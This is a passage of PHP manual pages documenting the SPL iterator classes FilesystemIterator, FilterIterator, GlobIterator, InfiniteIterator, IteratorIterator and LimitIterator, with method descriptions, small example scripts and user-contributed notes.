foreach ($iterator as $fileinfo) {
    echo $iterator->current() . "\n";
}
?>

The above example will output something similar to:

/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

See Also

  • FilesystemIterator constants
  • DirectoryIterator::current() - Return the current DirectoryIterator item.
  • DirectoryIterator::getFileName() - Return file name of current DirectoryIterator item.

User Contributed Notes

There are no user contributed notes for this page.


Get the handling flags

  • « FilesystemIterator::current
  • FilesystemIterator::key »
  • PHP Manual
  • FilesystemIterator
  • Get the handling flags

FilesystemIterator::getFlags

(PHP 5 >= 5.3.0)

FilesystemIterator::getFlags — Get the handling flags

Description

public int FilesystemIterator::getFlags ( void )

Gets the handling flags, as set in FilesystemIterator::__construct() or FilesystemIterator::setFlags().

Parameters

This function has no parameters.

Return Values

The integer value of the set flags.

See Also

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • FilesystemIterator::setFlags() - Sets handling flags

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the key for the current file

  • « FilesystemIterator::getFlags
  • FilesystemIterator::next »
  • PHP Manual
  • FilesystemIterator
  • Retrieve the key for the current file

FilesystemIterator::key

(PHP 5 >= 5.3.0)

FilesystemIterator::key — Retrieve the key for the current file

Description

public string FilesystemIterator::key ( void )

Parameters

This function has no parameters.

Return Values

Returns the pathname or filename depending on the set flags. See the FilesystemIterator constants.

Examples

Example #1 FilesystemIterator::key() example

This example will list the contents of the directory containing the script.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);
foreach ($iterator as $fileinfo) {
    echo $iterator->key() . "\n";
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php

See Also

  • FilesystemIterator constants
  • DirectoryIterator::key() - Return the key for the current DirectoryIterator item
  • DirectoryIterator::getFilename() - Return file name of current DirectoryIterator item.
  • DirectoryIterator::getPathname() - Return path and file name of current DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.


Move to the next file

  • « FilesystemIterator::key
  • FilesystemIterator::rewind »
  • PHP Manual
  • FilesystemIterator
  • Move to the next file

FilesystemIterator::next

(PHP 5 >= 5.3.0)

FilesystemIterator::next — Move to the next file

Description

public void FilesystemIterator::next ( void )

Move to the next file.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 FilesystemIterator::next() example

List the contents of a directory using a while loop.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__));
while($iterator->valid()) {
    echo $iterator->getFilename() . "\n";
    $iterator->next();
}
?>

The above example will output something similar to:

apple.jpg
banana.jpg
example.php

See Also

  • DirectoryIterator::next() - Move forward to next DirectoryIterator item

User Contributed Notes

There are no user contributed notes for this page.


Rewinds back to the beginning

  • « FilesystemIterator::next
  • FilesystemIterator::setFlags »
  • PHP Manual
  • FilesystemIterator
  • Rewinds back to the beginning

FilesystemIterator::rewind

(PHP 5 >= 5.3.0)

FilesystemIterator::rewind — Rewinds back to the beginning

Description

public void FilesystemIterator::rewind ( void )

Rewinds the directory back to the start.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 FilesystemIterator::rewind() example

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_FILENAME);

echo $iterator->key() . "\n";

$iterator->next();
echo $iterator->key() . "\n";

$iterator->rewind();
echo $iterator->key() . "\n";
?>

The above example will output something similar to:

apple.jpg
banana.jpg
apple.jpg

See Also

  • DirectoryIterator::rewind() - Rewind the DirectoryIterator back to the start

User Contributed Notes

There are no user contributed notes for this page.


Sets handling flags

  • « FilesystemIterator::rewind
  • FilterIterator »
  • PHP Manual
  • FilesystemIterator
  • Sets handling flags

FilesystemIterator::setFlags

(PHP 5 >= 5.3.0)

FilesystemIterator::setFlags — Sets handling flags

Description

public void FilesystemIterator::setFlags ([ int $flags ] )

Sets handling flags.

Parameters

flags

The handling flags to set. See the FilesystemIterator constants.

Return Values

No value is returned.

Examples

Example #1 FilesystemIterator::key() example

This example demonstrates the difference between the FilesystemIterator::KEY_AS_PATHNAME and FilesystemIterator::KEY_AS_FILENAME flags.

<?php
$iterator = new FilesystemIterator(dirname(__FILE__), FilesystemIterator::KEY_AS_PATHNAME);
echo "Key as Pathname:\n";
foreach ($iterator as $key => $fileinfo) {
    echo $key . "\n";
}

$iterator->setFlags(FilesystemIterator::KEY_AS_FILENAME);
echo "\nKey as Filename:\n";
foreach ($iterator as $key => $fileinfo) {
    echo $key . "\n";
}
?>

The above example will output something similar to:

Key as Pathname:
/www/examples/apple.jpg
/www/examples/banana.jpg
/www/examples/example.php

Key as Filename:
apple.jpg
banana.jpg
example.php

See Also

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • FilesystemIterator::getFlags() - Get the handling flags

User Contributed Notes

There are no user contributed notes for this page.


The FilterIterator class

(PHP 5 >= 5.1.0)

Introduction

This abstract iterator filters out unwanted values. This class should be extended to implement custom iterator filters. The FilterIterator::accept() must be implemented in the subclass.

Class synopsis

abstract FilterIterator extends IteratorIterator implements OuterIterator {
/* Methods */
public abstract bool accept ( void )
public __construct ( Iterator $iterator )
public mixed current ( void )
public Iterator getInnerIterator ( void )
public mixed key ( void )
public void next ( void )
public void rewind ( void )
public bool valid ( void )
}

Table of Contents

  • FilterIterator::accept — Check whether the current element of the iterator is acceptable
  • FilterIterator::__construct — Construct a filterIterator
  • FilterIterator::current — Get the current element value
  • FilterIterator::getInnerIterator — Get the inner iterator
  • FilterIterator::key — Get the current key
  • FilterIterator::next — Move the iterator forward
  • FilterIterator::rewind — Rewind the iterator
  • FilterIterator::valid — Check whether the current element is valid

User Contributed Notes

Anonymous 27-May-2014 05:01
A little test about the function call order:

<?php

class TestIterator extends IteratorIterator
{
    public function key()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::key();
    }

    public function next()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::next();
    }

    public function rewind()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::rewind();
    }

    public function valid()
    {
        echo  __FUNCTION__, PHP_EOL;
        return parent::valid();
    }
}

class TestFilterIterator extends FilterIterator
{
    public function accept()
    {
        echo  __FUNCTION__, PHP_EOL;
        return true;
    }
}

$iterator = new ArrayIterator(array('a', 'b', 'c'));

foreach (new TestFilterIterator(new TestIterator($iterator)) as $k => $v) {
    echo PHP_EOL;
}

?>

This will output the following:

rewind
valid
key
accept

next
valid
key
accept

next
valid
key
accept

next
valid
Venelin Vulkov 05-Nov-2008 09:36
The code below is a simple example of usage . Note that the method which does the actual job is accept.

<?php
class UserFilter extends FilterIterator
{
    private $userFilter;

    public function __construct(Iterator $iterator , $filter )
    {
        parent::__construct($iterator);
        $this->userFilter = $filter;
    }

    public function accept()
    {
        $user = $this->getInnerIterator()->current();
        if( strcasecmp($user['name'],$this->userFilter) == 0) {
            return false;
        }
        return true;
    }
}

$array = array(
array('name' => 'Jonathan','id' => '5'),
array('name' => 'Abdul' ,'id' => '22')
);

$object = new ArrayObject($array);

// Note it is case insensitive check in our example due the usage of strcasecmp function
$iterator = new UserFilter($object->getIterator(),'abdul');

foreach ($iterator as $result) {
    echo $result['name'];
}

/* Outputs Jonathan */

?>
Regards.


Check whether the current element of the iterator is acceptable

  • « FilterIterator
  • FilterIterator::__construct »
  • PHP Manual
  • FilterIterator
  • Check whether the current element of the iterator is acceptable

FilterIterator::accept

(PHP 5 >= 5.1.0)

FilterIterator::accept — Check whether the current element of the iterator is acceptable

Description

public abstract bool FilterIterator::accept ( void )

Returns whether the current element of the iterator is acceptable through this filter.

Parameters

This function has no parameters.

Return Values

TRUE if the current element is acceptable, otherwise FALSE.

Examples

Example #1 FilterIterator::accept() example

<?php
// This iterator filters all values with less than 10 characters
class LengthFilterIterator extends FilterIterator {

    public function accept() {
        // Only accept strings with a length of 10 and greater
        return strlen(parent::current()) > 10;
    }

}

$arrayIterator = new ArrayIterator(array('test1', 'more than 10 characters'));
$lengthFilter = new LengthFilterIterator($arrayIterator);

foreach ($lengthFilter as $value) {
    echo $value . "\n";
}
?>

The above example will output:

more than 10 characters

User Contributed Notes

There are no user contributed notes for this page.


Construct a filterIterator

  • « FilterIterator::accept
  • FilterIterator::current »
  • PHP Manual
  • FilterIterator
  • Construct a filterIterator

FilterIterator::__construct

(PHP 5 >= 5.1.0)

FilterIterator::__construct — Construct a filterIterator

Description

public FilterIterator::__construct ( Iterator $iterator )

Constructs a new FilterIterator, which consists of a passed in iterator with filters applied to it.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator that is being filtered.

Return Values

The FilterIterator.

See Also

  • LimitIterator::__construct() - Construct a LimitIterator

User Contributed Notes

There are no user contributed notes for this page.


Get the current element value

  • « FilterIterator::__construct
  • FilterIterator::getInnerIterator »
  • PHP Manual
  • FilterIterator
  • Get the current element value

FilterIterator::current

(PHP 5 >= 5.1.0)

FilterIterator::current — Get the current element value

Description

public mixed FilterIterator::current ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the current element value.

Parameters

This function has no parameters.

Return Values

The current element value.

See Also

  • FilterIterator::key() - Get the current key
  • FilterIterator::next() - Move the iterator forward

User Contributed Notes

There are no user contributed notes for this page.


Get the inner iterator

  • « FilterIterator::current
  • FilterIterator::key »
  • PHP Manual
  • FilterIterator
  • Get the inner iterator

FilterIterator::getInnerIterator

(PHP 5 >= 5.1.0)

FilterIterator::getInnerIterator — Get the inner iterator

Description

public Iterator FilterIterator::getInnerIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the inner iterator.

Parameters

This function has no parameters.

Return Values

The inner iterator.

User Contributed Notes

There are no user contributed notes for this page.


Get the current key

  • « FilterIterator::getInnerIterator
  • FilterIterator::next »
  • PHP Manual
  • FilterIterator
  • Get the current key

FilterIterator::key

(PHP 5 >= 5.1.0)

FilterIterator::key — Get the current key

Description

public mixed FilterIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

Get the current key.

Parameters

This function has no parameters.

Return Values

The current key.

See Also

  • FilterIterator::next() - Move the iterator forward
  • FilterIterator::current() - Get the current element value

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • « FilterIterator::key
  • FilterIterator::rewind »
  • PHP Manual
  • FilterIterator
  • Move the iterator forward

FilterIterator::next

(PHP 5 >= 5.1.0)

FilterIterator::next — Move the iterator forward

Description

public void FilterIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Move the iterator forward.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • FilterIterator::current() - Get the current element value
  • FilterIterator::next()

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator

  • « FilterIterator::next
  • FilterIterator::valid »
  • PHP Manual
  • FilterIterator
  • Rewind the iterator

FilterIterator::rewind

(PHP 5 >= 5.1.0)

FilterIterator::rewind — Rewind the iterator

Description

public void FilterIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Rewind the iterator.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • FilterIterator::current() - Get the current element value
  • FilterIterator::key() - Get the current key
  • FilterIterator::next() - Move the iterator forward

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • « FilterIterator::rewind
  • GlobIterator »
  • PHP Manual
  • FilterIterator
  • Check whether the current element is valid

FilterIterator::valid

(PHP 5 >= 5.1.0)

FilterIterator::valid — Check whether the current element is valid

Description

public bool FilterIterator::valid ( void )
Warning

This function is currently not documented; only its argument list is available.

Checks whether the current element is valid.

Parameters

This function has no parameters.

Return Values

TRUE if the current element is valid, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


The GlobIterator class

(PHP 5 >= 5.3.0)

Introduction

Iterates through a file system in a similar fashion to glob().

Class synopsis

GlobIterator extends FilesystemIterator implements SeekableIterator , Countable {
/* Methods */
public __construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
public int count ( void )
/* Inherited methods */
public FilesystemIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )
public mixed FilesystemIterator::current ( void )
public int FilesystemIterator::getFlags ( void )
public string FilesystemIterator::key ( void )
public void FilesystemIterator::next ( void )
public void FilesystemIterator::rewind ( void )
public void FilesystemIterator::setFlags ([ int $flags ] )
}

Table of Contents

  • GlobIterator::__construct — Construct a directory using glob
  • GlobIterator::count — Get the number of directories and files

User Contributed Notes

There are no user contributed notes for this page.


Construct a directory using glob

  • « GlobIterator
  • GlobIterator::count »
  • PHP Manual
  • GlobIterator
  • Construct a directory using glob

GlobIterator::__construct

(PHP 5 >= 5.3.0)

GlobIterator::__construct — Construct a directory using glob

Description

public GlobIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

Constructs a new directory iterator from a glob expression.

Parameters

path

The path of the directory.

flags

Option flags, the flags may be a bitmask of the FilesystemIterator constants.

Examples

Example #1 GlobIterator example

<?php
$iterator = new GlobIterator('*.dll', FilesystemIterator::KEY_AS_FILENAME);

if (!$iterator->count()) {
    echo 'No matches';
} else {
    $n = 0;

    printf("Matched %d item(s)\r\n", $iterator->count());

    foreach ($iterator as $item) {
        printf("[%d] %s\r\n", ++$n, $iterator->key());
    }
}
?>

The above example will output something similar to:

Matched 2 item(s)
[1] php5ts.dll
[2] php_gd2.dll

See Also

  • DirectoryIterator::__construct() - Constructs a new directory iterator from a path
  • GlobIterator::count() - Get the number of directories and files
  • glob() - Find pathnames matching a pattern

User Contributed Notes

ozana at omdesign dot cz 29-Mar-2014 07:08
GlobIterator doesn’t have a way to support GLOB_BRACE!

<?php
$iterator = new GlobIterator(getcwd. '/*.{php,txt}'); // generate an empty array
?>


Get the number of directories and files

  • « GlobIterator::__construct
  • InfiniteIterator »
  • PHP Manual
  • GlobIterator
  • Get the number of directories and files

GlobIterator::count

(PHP 5 >= 5.3.0)

GlobIterator::count — Get the number of directories and files

Description

public int GlobIterator::count ( void )

Gets the number of directories and files found by the glob expression.

Parameters

This function has no parameters.

Return Values

The number of returned directories and files, as an integer.

Examples

Example #1 GlobIterator::count() example

<?php
$iterator = new GlobIterator('*.xml');

printf("Matched %d item(s)\r\n", $iterator->count());
?>

The above example will output something similar to:

Matched 8 item(s)

See Also

  • GlobIterator::__construct() - Construct a directory using glob
  • count() - Count all elements in an array, or something in an object
  • glob() - Find pathnames matching a pattern

User Contributed Notes

There are no user contributed notes for this page.


The InfiniteIterator class

(PHP 5 >= 5.1.0)

Introduction

The InfiniteIterator allows one to infinitely iterate over an iterator without having to manually rewind the iterator upon reaching its end.

Class synopsis

InfiniteIterator extends IteratorIterator implements OuterIterator {
/* Methods */
public __construct ( Iterator $iterator )
public void next ( void )
/* Inherited methods */
public IteratorIterator::__construct ( Traversable $iterator )
public mixed IteratorIterator::current ( void )
public Traversable IteratorIterator::getInnerIterator ( void )
public scalar IteratorIterator::key ( void )
public void IteratorIterator::next ( void )
public void IteratorIterator::rewind ( void )
public bool IteratorIterator::valid ( void )
}

Table of Contents

  • InfiniteIterator::__construct — Constructs an InfiniteIterator
  • InfiniteIterator::next — Moves the inner Iterator forward or rewinds it

User Contributed Notes

vascowhite at gmail dot com 04-Jun-2013 10:54
It is important to realise that rewind() must be called on any iterator before using it or you may experience undefined behaviour, see example code and output here http://3v4l.org/rvNpU

See this bug report https://bugs.php.net/bug.php?id=63823&edit=2 for a fuller explanation.
Anonymous 16-Oct-2012 09:47
to loop through object keys and reset to the start, try this:
<?php

$obj = new stdClass();
$obj->Mon = "Monday";
$obj->Tue = "Tuesday";
$obj->Wed = "Wednesday";
$obj->Thu = "Thursday";
$obj->Fri = "Friday";
$obj->Sat = "Saturday";
$obj->Sun = "Sunday";

$infinate = new InfiniteIterator(new ArrayIterator($obj));
foreach ( new LimitIterator($infinate, 0, 14) as $value ) {
    print($value . PHP_EOL);
}

?>

will output:

Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday

Can be useful when doing date operations or recurring events


Constructs an InfiniteIterator

  • « InfiniteIterator
  • InfiniteIterator::next »
  • PHP Manual
  • InfiniteIterator
  • Constructs an InfiniteIterator

InfiniteIterator::__construct

(PHP 5 >= 5.1.0)

InfiniteIterator::__construct — Constructs an InfiniteIterator

Description

public InfiniteIterator::__construct ( Iterator $iterator )

Constructs an InfiniteIterator from an Iterator.

Parameters

iterator

The iterator to infinitely iterate over.

Return Values

No value is returned.

Errors/Exceptions

Throws an E_RECOVERABLE_ERROR if the iterator parameter is not an Iterator.

Examples

Example #1 InfiniteIterator::__construct() example

<?php
$arrayit  = new ArrayIterator(array('cat','dog'));
$infinite = new InfiniteIterator($arrayit);
$limit    = new LimitIterator($infinite, 0, 7);
foreach($limit as $value)
{
    echo "$value\n";
}
?>

The above example will output:

cat
dog
cat
dog
cat
dog
cat

See Also

  • InfiniteIterator::next() - Moves the inner Iterator forward or rewinds it

User Contributed Notes

There are no user contributed notes for this page.


Moves the inner Iterator forward or rewinds it

  • « InfiniteIterator::__construct
  • IteratorIterator »
  • PHP Manual
  • InfiniteIterator
  • Moves the inner Iterator forward or rewinds it

InfiniteIterator::next

(PHP 5 >= 5.1.0)

InfiniteIterator::next — Moves the inner Iterator forward or rewinds it

Description

public void InfiniteIterator::next ( void )

Moves the inner Iterator forward to its next element if there is one, otherwise rewinds the inner Iterator back to the beginning.

Note:

Even an InfiniteIterator stops if its inner Iterator is empty.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • InfiniteIterator::__construct() - Constructs an InfiniteIterator

User Contributed Notes

There are no user contributed notes for this page.


The IteratorIterator class

(PHP 5 >= 5.1.0)

Introduction

This iterator wrapper allows the conversion of anything that is Traversable into an Iterator. It is important to understand that most classes that do not implement Iterators have reasons as most likely they do not allow the full Iterator feature set. If so, techniques should be provided to prevent misuse, otherwise expect exceptions or fatal errors.

Class synopsis

IteratorIterator implements OuterIterator {
/* Methods */
public __construct ( Traversable $iterator )
public mixed current ( void )
public Traversable getInnerIterator ( void )
public scalar key ( void )
public void next ( void )
public void rewind ( void )
public bool valid ( void )
}

Table of Contents

  • IteratorIterator::__construct — Create an iterator from anything that is traversable
  • IteratorIterator::current — Get the current value
  • IteratorIterator::getInnerIterator — Get the inner iterator
  • IteratorIterator::key — Get the key of the current element
  • IteratorIterator::next — Forward to the next element
  • IteratorIterator::rewind — Rewind to the first element
  • IteratorIterator::valid — Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.


Create an iterator from anything that is traversable

  • « IteratorIterator
  • IteratorIterator::current »
  • PHP Manual
  • IteratorIterator
  • Create an iterator from anything that is traversable

IteratorIterator::__construct

(PHP 5 >= 5.1.0)

IteratorIterator::__construct — Create an iterator from anything that is traversable

Description

public IteratorIterator::__construct ( Traversable $iterator )

Creates an iterator from anything that is traversable.

Parameters

iterator

The traversable iterator.

Return Values

No value is returned.

See Also

  • Traversable

User Contributed Notes

There are no user contributed notes for this page.


Get the current value

  • « IteratorIterator::__construct
  • IteratorIterator::getInnerIterator »
  • PHP Manual
  • IteratorIterator
  • Get the current value

IteratorIterator::current

(PHP 5 >= 5.1.0)

IteratorIterator::current — Get the current value

Description

public mixed IteratorIterator::current ( void )

Get the value of the current element.

Parameters

This function has no parameters.

Return Values

The value of the current element.

See Also

  • IteratorIterator::key() - Get the key of the current element

User Contributed Notes

There are no user contributed notes for this page.


Get the inner iterator

  • « IteratorIterator::current
  • IteratorIterator::key »
  • PHP Manual
  • IteratorIterator
  • Get the inner iterator

IteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0)

IteratorIterator::getInnerIterator — Get the inner iterator

Description

public Traversable IteratorIterator::getInnerIterator ( void )

Get the inner iterator.

Parameters

This function has no parameters.

Return Values

The inner iterator as passed to IteratorIterator::__construct().

See Also

  • Iterator
  • OuterIterator

User Contributed Notes

There are no user contributed notes for this page.


Get the key of the current element

  • « IteratorIterator::getInnerIterator
  • IteratorIterator::next »
  • PHP Manual
  • IteratorIterator
  • Get the key of the current element

IteratorIterator::key

(PHP 5 >= 5.1.0)

IteratorIterator::key — Get the key of the current element

Description

public scalar IteratorIterator::key ( void )

Get the key of the current element.

Parameters

This function has no parameters.

Return Values

The key of the current element.

See Also

  • IteratorIterator::current() - Get the current value

User Contributed Notes

There are no user contributed notes for this page.


Forward to the next element

  • « IteratorIterator::key
  • IteratorIterator::rewind »
  • PHP Manual
  • IteratorIterator
  • Forward to the next element

IteratorIterator::next

(PHP 5 >= 5.1.0)

IteratorIterator::next — Forward to the next element

Description

public void IteratorIterator::next ( void )

Forward to the next element.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • IteratorIterator::rewind() - Rewind to the first element
  • IteratorIterator::valid() - Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.


Rewind to the first element

  • « IteratorIterator::next
  • IteratorIterator::valid »
  • PHP Manual
  • IteratorIterator
  • Rewind to the first element

IteratorIterator::rewind

(PHP 5 >= 5.1.0)

IteratorIterator::rewind — Rewind to the first element

Description

public void IteratorIterator::rewind ( void )

Rewinds to the first element.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • IteratorIterator::next() - Forward to the next element
  • IteratorIterator::valid() - Checks if the iterator is valid

User Contributed Notes

There are no user contributed notes for this page.


Checks if the iterator is valid

  • « IteratorIterator::rewind
  • LimitIterator »
  • PHP Manual
  • IteratorIterator
  • Checks if the iterator is valid

IteratorIterator::valid

(PHP 5 >= 5.1.0)

IteratorIterator::valid — Checks if the iterator is valid

Description

public bool IteratorIterator::valid ( void )

Checks if the iterator is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the iterator is valid, otherwise FALSE

See Also

  • iterator_count() - Count the elements in an iterator
  • IteratorIterator::current() - Get the current value

User Contributed Notes

There are no user contributed notes for this page.


The LimitIterator class

(PHP 5 >= 5.1.0)

Introduction

The LimitIterator class allows iteration over a limited subset of items in an Iterator.

Class synopsis

LimitIterator extends IteratorIterator implements OuterIterator {
/* Methods */
public __construct ( Iterator $iterator [, int $offset = 0 [, int $count = -1 ]] )
public mixed current ( void )
public Iterator getInnerIterator ( void )
public int getPosition ( void )
public mixed key ( void )
public void next ( void )
public void rewind ( void )
public int seek ( int $position )
public bool valid ( void )
}

Examples

Example #1 LimitIterator usage example

<?php

// Create an iterator to be limited
$fruits = new ArrayIterator(array(
    'apple',
    'banana',
    'cherry',
    'damson',
    'elderberry'
));

// Loop over first three fruits only
foreach (new LimitIterator($fruits, 0, 3) as $fruit) {
    var_dump($fruit);
}

echo "\n";

// Loop from third fruit until the end
// Note: offset starts from zero for apple
foreach (new LimitIterator($fruits, 2) as $fruit) {
    var_dump($fruit);
}

?>

The above example will output:

string(5) "apple"
string(6) "banana"
string(6) "cherry"

string(6) "cherry"
string(6) "damson"
string(10) "elderberry"

Table of Contents

  • LimitIterator::__construct — Construct a LimitIterator
  • LimitIterator::current — Get current element
  • LimitIterator::getInnerIterator — Get inner iterator
  • LimitIterator::getPosition — Return the current position
  • LimitIterator::key — Get current key
  • LimitIterator::next — Move the iterator forward
  • LimitIterator::rewind — Rewind the iterator to the specified starting offset
  • LimitIterator::seek — Seek to the given position
  • LimitIterator::valid — Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Construct a LimitIterator

  • « LimitIterator
  • LimitIterator::current »
  • PHP Manual
  • LimitIterator
  • Construct a LimitIterator

LimitIterator::__construct

(PHP 5 >= 5.1.0)

LimitIterator::__construct — Construct a LimitIterator

Description

public LimitIterator::__construct ( Iterator $iterator [, int $offset = 0 [, int $count = -1 ]] )

Constructs a new LimitIterator from an iterator with a given starting offset and maximum count.

Parameters

iterator

The Iterator to limit.

offset

Optional offset of the limit.

count

Optional count of the limit.

Return Values

The new LimitIterator.

Errors/Exceptions

Throws an OutOfRangeException if the offset is less than 0 or the count is less than -1.

Examples

Example #1 LimitIterator::__construct() example

<?php
$ait = new ArrayIterator(array('a', 'b', 'c', 'd', 'e'));
$lit = new LimitIterator($ait, 1, 3);
foreach ($lit as $value) {
    echo $value . "\n";
}
?>

The above example will output:

b
c
d

See Also

  • LimitIterator examples

User Contributed Notes

There are no user contributed notes for this page.


Get current element

  • « LimitIterator::__construct
  • LimitIterator::getInnerIterator »
  • PHP Manual
  • LimitIterator
  • Get current element

LimitIterator::current

(PHP 5 >= 5.1.0)

LimitIterator::current — Get current element

Description

public mixed LimitIterator::current ( void )

Gets the current element of the inner Iterator.

Parameters

This function has no parameters.

Return Values

Returns the current element or NULL if there is none.

See Also

  • LimitIterator::key() - Get current key
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Get inner iterator

  • « LimitIterator::current
  • LimitIterator::getPosition »
  • PHP Manual
  • LimitIterator
  • Get inner iterator

LimitIterator::getInnerIterator

(PHP 5 >= 5.1.0)

LimitIterator::getInnerIterator — Get inner iterator

Description

public Iterator LimitIterator::getInnerIterator ( void )

Gets the inner Iterator.

Parameters

This function has no parameters.

Return Values

The inner iterator passed to LimitIterator::__construct().

See Also

  • LimitIterator::__construct() - Construct a LimitIterator
  • IteratorIterator::getInnerIterator() - Get the inner iterator

User Contributed Notes

There are no user contributed notes for this page.


Return the current position

  • « LimitIterator::getInnerIterator
  • LimitIterator::key »
  • PHP Manual
  • LimitIterator
  • Return the current position

LimitIterator::getPosition

(PHP 5 >= 5.1.0)

LimitIterator::getPosition — Return the current position

Description

public int LimitIterator::getPosition ( void )

Gets the current zero-based position of the inner Iterator.

Parameters

This function has no parameters.

Return Values

The current position.

Examples

Example #1 LimitIterator::getPosition() example

<?php
$fruits = array(
    'a' => 'apple',
    'b' => 'banana',
    'c' => 'cherry',
    'd' => 'damson',
    'e' => 'elderberry'
);
$array_it = new ArrayIterator($fruits);
$limit_it = new LimitIterator($array_it, 2, 3);
foreach ($limit_it as $item) {
    echo $limit_it->getPosition() . ' ' . $item . "\n";
}
?>

The above example will output:

2 cherry
3 damson
4 elderberry

See Also

  • FilterIterator::key() - Get the current key

User Contributed Notes

There are no user contributed notes for this page.


Get current key

  • « LimitIterator::getPosition
  • LimitIterator::next »
  • PHP Manual
  • LimitIterator
  • Get current key

LimitIterator::key

(PHP 5 >= 5.1.0)

LimitIterator::key — Get current key

Description

public mixed LimitIterator::key ( void )

Gets the key for the current item in the inner Iterator.

Parameters

This function has no parameters.

Return Values

Returns the key for the current item.

See Also

  • LimitIterator::getPosition() - Return the current position
  • LimitIterator::current() - Get current element
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Move the iterator forward

  • « LimitIterator::key
  • LimitIterator::rewind »
  • PHP Manual
  • LimitIterator
  • Move the iterator forward

LimitIterator::next

(PHP 5 >= 5.1.0)

LimitIterator::next — Move the iterator forward

Description

public void LimitIterator::next ( void )

Moves the iterator forward.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Rewind the iterator to the specified starting offset

  • « LimitIterator::next
  • LimitIterator::seek »
  • PHP Manual
  • LimitIterator
  • Rewind the iterator to the specified starting offset

LimitIterator::rewind

(PHP 5 >= 5.1.0)

LimitIterator::rewind — Rewind the iterator to the specified starting offset

Description

public void LimitIterator::rewind ( void )

Rewinds the iterator to the starting offset specified in LimitIterator::__construct().

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::seek() - Seek to the given position
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Seek to the given position

  • « LimitIterator::rewind
  • LimitIterator::valid »
  • PHP Manual
  • LimitIterator
  • Seek to the given position

LimitIterator::seek

(PHP 5 >= 5.1.0)

LimitIterator::seek — Seek to the given position

Description

public int LimitIterator::seek ( int $position )

Moves the iterator to the offset specified by position.

Parameters

position

The position to seek to.

Return Values

Returns the offset position after seeking.

Errors/Exceptions

Throws an OutOfBoundsException if the position is outside of the limits specified in LimitIterator::__construct().

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::valid() - Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • « LimitIterator::seek
  • MultipleIterator »
  • PHP Manual
  • LimitIterator
  • Check whether the current element is valid

LimitIterator::valid

(PHP 5 >= 5.1.0)

LimitIterator::valid — Check whether the current element is valid

Description

public bool LimitIterator::valid ( void )

Checks whether the current element is valid.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • LimitIterator::current() - Get current element
  • LimitIterator::key() - Get current key
  • LimitIterator::rewind() - Rewind the iterator to the specified starting offset
  • LimitIterator::next() - Move the iterator forward
  • LimitIterator::seek() - Seek to the given position

User Contributed Notes

There are no user contributed notes for this page.


The MultipleIterator class

(PHP 5 >= 5.3.0)

Introduction

An Iterator that sequentially iterates over all attached iterators

Class synopsis

